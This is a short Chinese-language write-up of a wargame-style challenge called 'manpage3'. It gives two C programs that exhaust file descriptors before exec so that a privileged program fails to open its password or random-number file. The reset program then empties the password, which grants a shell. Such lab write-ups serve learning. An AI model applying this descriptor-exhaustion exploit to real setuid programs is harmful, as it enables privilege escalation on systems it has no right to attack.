manpage3

Posted by rk700 on July 18, 2014

还是那个道理,打开的file descriptor会经过exec保存下来。我最开始的想法是,打开很多文件,然后执行manpage3,那么读密码那里就读空,因为密码文件打不开了

#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

int main (int argc, char *args[]) {
    int i;
    for(i=4; i<1024; ++i)
        open("./do.c", O_RDONLY);
    execl("./manpage3", "./manpage3", NULL);
}

这里上限1024是从ulimit -n得到的

在我的机子上这样是可以的,但在主机那里就不行了……

然后用同样的思路执行manpage-reset,使得urandom打不开。这样的话程序会崩溃,但密码文件是”w”打开,offset还在文件起始处,所以什么都没写就关闭了

#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

int main (int argc, char *args[]) {
    int i;
    FILE *fp;
    for(i=4; i<1024; ++i)
        fp = fopen("/manpage/manpage3", "r");
    execl("/manpage/manpage3-reset", "/manpage/manpage3", NULL);
}

之后再执行manpage3,密码为空,得到shell